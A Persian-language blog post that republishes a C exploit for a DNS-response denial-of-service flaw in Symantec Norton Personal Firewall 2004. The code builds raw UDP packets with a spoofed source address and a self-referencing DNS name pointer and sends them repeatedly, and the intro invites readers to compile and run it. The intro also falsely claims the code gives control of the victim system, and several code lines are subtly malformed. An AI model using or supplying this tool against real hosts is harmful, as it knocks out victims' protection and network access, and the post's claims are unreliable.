ویرگول
ورودثبت نام
farhad shiri
farhad shiriیک توسعه دهنده نرم افزار
farhad shiri
farhad shiri
خواندن ۱۸ دقیقه·۶ سال پیش

Symantec Multiple Firewall DNS Response DDOS


این اکسپولیت کد از ضعف Fire Wall نرم افزار Symantec Norton و میتونه کنترل سیستم را که از فایروال مذکور استفاده میکنه در کنترل شما قرار بده!

منتظر نظرات دوستان هستم.

نحوه استفاده هم خیلی سر راسته کافی برنامه را کامپایل کنید و اجرا کنید نحوه وارد کردن سوئیچ ها را مشاهده خواهید کرد، برنامه فوق هم در لینوکس قابل کامپایل هست وهم در ویندوز.


/* HOD-symantec-firewall-DoS-expl.c:  
 * Symantec Multiple Firewall DNS Response Denial-of-Service  
 * -------------------------------------------------------------------  
 * Tested on:  
 *    - Symantec Norton Personal Firewall 2004  
 * Systems Affected:  
 * -------------------------------------------------------------------  
 * Compile:  
 *    Win32/VC++  : cl -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c ws2_32.lib  
 *    Win32/cygwin: gcc -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c -lws2_32.lib  
 *    Linux       : gcc -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c -Wall  
 *  
 * ------------------------------------------------------------------- 
 * Command Line Parameters/Arguments:  
 *
 *    HOD-symantec-firewall-DoS-expl [-fi:str] [-tp:int] [-ti:str] [-n:int]   
 *  
*           -fi:IP    From (sender) IP address  
*           -tp:int   To (recipient) port number  
*           -ti:IP    To (recipient) IP address  
*           -n:int    Number of times to send message 
*/
#ifdef _WIN32  
#pragma comment(lib,&quotws2_32&quot)  
#pragma pack(1)  
#define WIN32_LEAN_AND_MEAN   
#include <winsock2.h>  
#include <ws2tcpip.h> /* IP_HDRINCL */  
#include <stdio.h>  
#include <stdlib.h>  
#else  
#include <sys/types.h>  
#include <netinet/in.h>  
#include <sys/socket.h>  
#include <stdio.h>  
#include <stdlib.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/timeb.h>
#include <string.h>
#endif 

#define MAX_MESSAGE        4068  
#define MAX_PACKET         4096   
#define DEFAULT_PORT       53  
#define DEFAULT_IP         &quot10.0.0.1&quot  
#define DEFAULT_COUNT      1  

#ifndef _WIN32  
#define FAR
#endif

/* Define the DNS header */
char dnsreply[] =  
	&quot\xc9\x9c&quot  /* Transaction ID */  
	&quot\x80\x00&quot  /* Flags (bit 15: response) */  
	&quot\x00\x01&quot  /* Number of questions */  
	&quot\x00\x01&quot  /* Number of answer RRs */  
	&quot\x00\x00&quot  /* Number of authority RRs */  
	&quot\x00\x00&quot  /* Number of additional RRs */  
	&quot\xC0\x0C&quot /* Compressed name pointer to itself */  

typedef unsigned char BYTE;
typedef unsigned short WORD;
typedef unsigned int DWORD;
typedef unsigned long LWORD;
typedef char SBYTE;
typedef int SDWORD;

/* Define the IP header */  
typedef struct ip_hdr { 
   BYTE  ip_verlen;        /* IP version & length */ 
    BYTE  ip_tos;           /* IP type of service */ 
    WORD ip_totallength;    /* Total length */  
    WORD ip_id;             /* Unique identifier */  
    WORD ip_offset;         /* Fragment offset field */  
    BYTE  ip_ttl;           /* Time to live */  
    BYTE  ip_protocol;      /* Protocol */ 
    WORD ip_checksum;       /* IP checksum */  
  DWORD   ip_srcaddr;     /* Source address */  
   DWORD   ip_destaddr;    /* Destination address */ 
} IP_HDR, *PIP_HDR, FAR* LPIP_HDR; 

/* Define the UDP header */ 
 typedef struct udp_hdr {  
    WORD src_portno;       /* Source port number */  
    WORD dst_portno;       /* Destination port number */  
    WORD udp_length;       /* UDP packet length */  
    WORD udp_checksum;     /* UDP checksum (optional) */  
} UDP_HDR, *PUDP_HDR;  

/* globals */  
LWORD  dwToIP,               // IP to send to  
dwFromIP;             // IP to send from (spoof)  
WORD   iToPort,              // Port to send to  
iFromPort;            // Port to send from (spoof)  
LWORD  dwCount;              // Number of times to send  
SBYTE  strMessage[MAX_MESSAGE]; // Message to send  

void usage(SBYTE *progname){  
    printf(&quotUsage:\n\n&quot);  
    printf(&quot%s <-fi:SRC-IP> <-ti:VICTIM-IP> [-tp:DST-PORT] [-n:int]\n\n&quot,  progname);  
    printf(&quot       -fi:IP    From (sender) IP address\n&quot);  
    printf(&quot       -tp:int   To (recipient) open UDP port number:\n&quot);  
    printf(&quot       137, 138, 445, 500(default)\n&quot);  
    printf(&quot       -ti:IP    To (recipient) IP address\n&quot);  
    printf(&quot       -n:int    Number of times\n&quot);  
    exit(1);  
}  
void ValidateArgs(SDWORD argc, SBYTE **argv){  
    SDWORD  i;
      iToPort = 500;  
    iFromPort = DEFAULT_PORT;  
    dwToIP = inet_addr(DEFAULT_IP);  
    dwFromIP = inet_addr(DEFAULT_IP);   
    dwCount = DEFAULT_COUNT;  
    memcpy(strMessage, dnsreply, sizeof(dnsreply)-1);  
    for(i = 1; i < argc; i++) {  
        if ((argv[i][0] == '-') || (argv[i][0] == '/')) {  
            switch (tolower(argv[i][1])) {  
                case 'f':  
                    switch (tolower(argv[i][2])) {  
                        case 'i':  
                            if (strlen(argv[i]) > 4)      
                                dwFromIP = inet_addr(&argv[i][4]);  
                            break;  
                        default:  
                            usage(argv[0]);  
                            break;  
                    }      
                    break;  
                case 't':  
                    switch (tolower(argv[i][2])) {  
                        case 'p':  
                            if (strlen(argv[i]) > 4)  
                                iToPort = atoi(&argv[i][4]);  
                            break;  
                        case 'i':                              	
                            if (strlen(argv[i]) > 4)  
                                dwToIP = inet_addr(&argv[i][4]);  
                            break;  
                        default:  
                            usage(argv[0]);  
                            break;  
                    }      
                    break;  
                case 'n':  
                    if (strlen(argv[i]) > 3)  
                        dwCount = atol(&argv[i][3]);  
                    break;  
                default:  
                    usage(argv[0]);  
                    break;  
            }  
        }  
    }  
        return;  
}  
/*    This function calculates the 16-bit one's complement sum */

  /*    for the supplied buffer */  
    WORD checksum(WORD *buffer, SDWORD size){  
    LWORD cksum=0; 
while (size > 1) { 
    cksum += *buffer++;  
        size - = sizeof(WORD);    
     }  
    if (size) {  
        cksum + = *(BYTE *)buffer;     
    }  
    cksum = (cksum >> 16) + (cksum & 0xffff);  
    cksum + = (cksum >>16);   
     return (WORD)(~cksum);   
}      

/* Main Function */  
SDWORD main(SDWORD argc, BYTE **argv){  
#ifdef _WIN32  
    WSADATA   wsd;  
#endif  
    SDWORD    s;  
#ifdef _WIN32  
        BOOL   bOpt;  
#else  
        SDWORD   bOpt;  
#endif  
    struct sockaddr_in remote;  
    IP_HDR   ipHdr;  
    UDP_HDR  udpHdr;                                          
    SDWORD   ret;  
    LWORD    i;  
    WORD iTotalSize, iUdpSize, iUdpChecksumSize, iIPVersion, iIPSize, cksum = 0;  
    BYTE   buf[MAX_PACKET],*ptr = NULL;  
#ifdef _WIN32  
    IN_ADDR   addr;  
#else  
    struct sockaddr_in addr;  
#endif      
    printf(&quot\nSymantec Multiple Firewall DNS Response Denial-of-Service exploit v0.1\n&quot);  
    if (argc < 3) 
    	usage(argv[0]);  
    ValidateArgs(argc, argv);  

#ifdef _WIN32  
    addr.S_un.S_addr = dwFromIP;  
    printf(&quot[*] From IP: <%s>, port: %d\n&quot, inet_ntoa(addr), iFromPort);  
    addr.S_un.S_addr = dwToIP;  
    printf(&quot[*] To   IP: <%s>, port: %d\n&quot, inet_ntoa(addr), iToPort);  
#else  
    addr.sin_addr.s_addr = dwFromIP;  
    printf(&quot[*] From IP: <%s>, port: %d\n&quot, inet_ntoa(addr.sin_addr), iFromPort);      
    addr.sin_addr.s_addr = dwToIP;  
    printf(&quot[*] To   IP: <%s>, port: %d\n&quot, inet_ntoa(addr.sin_addr), iToPort);  
#endif  
    printf(&quot[*] Count:   %d\n&quot, dwCount);  
#ifdef _WIN32  
    if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {  
        printf(&quot[-] WSAStartup() failed: %d\n&quot, GetLastError());  
        return -1;  
    }  
#endif  
    /*  Creating a raw socket */  
    s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);  
#ifdef _WIN32  
    if (s == INVALID_SOCKET) {  
        printf(&quot[-] WSASocket() failed: %d\n&quot, WSAGetLastError());  
        return -1;  
    }  
#endif  
    /* Enable the IP header include option */  
#ifdef _WIN32  
    bOpt = TRUE;  
#else  
    bOpt = 1;  
#endif  
    ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (SBYTE *)&bOpt, sizeof(bOpt));  
#ifdef _WIN32  
    if (ret == SOCKET_ERROR) {  
        printf(&quot[-] setsockopt(IP_HDRINCL) failed: %d\n&quot, WSAGetLastError());  
        return -1;  
    }  
#endif  

    /* Initalize the IP header */  
    iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + sizeof(dnsreply)-1;  
    iIPVersion = 4;  
    iIPSize = sizeof(ipHdr) / sizeof(LWORD);  
    ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;  
    ipHdr.ip_tos = 0;                /* IP type of service */          
    ipHdr.ip_totallength = htons(iTotalSize); /* Total packet len */  
    ipHdr.ip_id = 0;                 /* Unique identifier: set to 0 */  
    ipHdr.ip_offset = 0;             /* Fragment offset field */  
    ipHdr.ip_ttl = 128;              /* Time to live */  
    ipHdr.ip_protocol = 0x11;        /* Protocol(UDP) */  
    ipHdr.ip_checksum = 0 ;          /* IP checksum */  
    ipHdr.ip_srcaddr  = dwFromIP;    /* Source address */  
    ipHdr.ip_destaddr = dwToIP;      /* Destination address */  
    /* Initalize the UDP header */  
    iUdpSize = sizeof(udpHdr) + sizeof(dnsreply)-1;  
    udpHdr.src_portno = htons(iFromPort) ;     
    udpHdr.dst_portno = htons(iToPort) ;  
    udpHdr.udp_length = htons(iUdpSize) ;  
    udpHdr.udp_checksum = 0;  
    iUdpChecksumSize = 0;     
    ptr = buf; 
    memset(buf, 0, MAX_PACKET);  
    memcpy(ptr, &ipHdr.ip_srcaddr,  sizeof(ipHdr.ip_srcaddr));    
    ptr += sizeof(ipHdr.ip_srcaddr);  
    iUdpChecksumSize += sizeof(ipHdr.ip_srcaddr);      
    memcpy(ptr, &ipHdr.ip_destaddr, sizeof(ipHdr.ip_destaddr));   
    ptr += sizeof(ipHdr.ip_destaddr);  
    iUdpChecksumSize += sizeof(ipHdr.ip_destaddr);  
    ptr++;  
    iUdpChecksumSize += 1;  
    memcpy(ptr, &ipHdr.ip_protocol, sizeof(ipHdr.ip_protocol));   
    ptr += sizeof(ipHdr.ip_protocol);  
    iUdpChecksumSize += sizeof(ipHdr.ip_protocol);  
    memcpy(ptr, &udpHdr.udp_length, sizeof(udpHdr.udp_length));       
    ptr += sizeof(udpHdr.udp_length);  
    iUdpChecksumSize += sizeof(udpHdr.udp_length);  
    memcpy(ptr, &udpHdr, sizeof(udpHdr));   
    ptr += sizeof(udpHdr);  
    iUdpChecksumSize += sizeof(udpHdr);  

    for(i = 0; i < sizeof(dnsreply)-1; i++, ptr++)  
        *ptr = strMessage[i];  
    iUdpChecksumSize += sizeof(dnsreply)-1; 
    cksum = checksum((WORD *)buf, iUdpChecksumSize);  
    udpHdr.udp_checksum = cksum;  
    memset(buf, 0, MAX_PACKET);  
    ptr = buf;  
    memcpy(ptr, &ipHdr, sizeof(ipHdr));   
    ptr += sizeof(ipHdr);  
    memcpy(ptr, &udpHdr, sizeof(udpHdr)); 
    ptr += sizeof(udpHdr);  
    memcpy(ptr, strMessage, sizeof(dnsreply)-1);  
    remote.sin_family = AF_INET;  
    remote.sin_port = htons(iToPort);  
    remote.sin_addr.s_addr = dwToIP;  

    for(i = 0; i < dwCount; i++) {  
#ifdef _WIN32  
    ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote, sizeof(remote));  
    if (ret == SOCKET_ERROR) {  
        printf(&quot[-] sendto() failed: %d\n&quot, WSAGetLastError());  
        break;  
    } else  
#else  
    ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) &remote, sizeof(remote));  
#endif  
    printf(&quot[+] sent %d bytes\n&quot, ret);  
    }  
#ifdef _WIN32  
    closesocket(s);  
    WSACleanup();  
#else
   close(s);
#endif  
    return 0;  
}


ddosexploit
۶
۱
farhad shiri
farhad shiri
یک توسعه دهنده نرم افزار
شاید از این پست‌ها خوشتان بیاید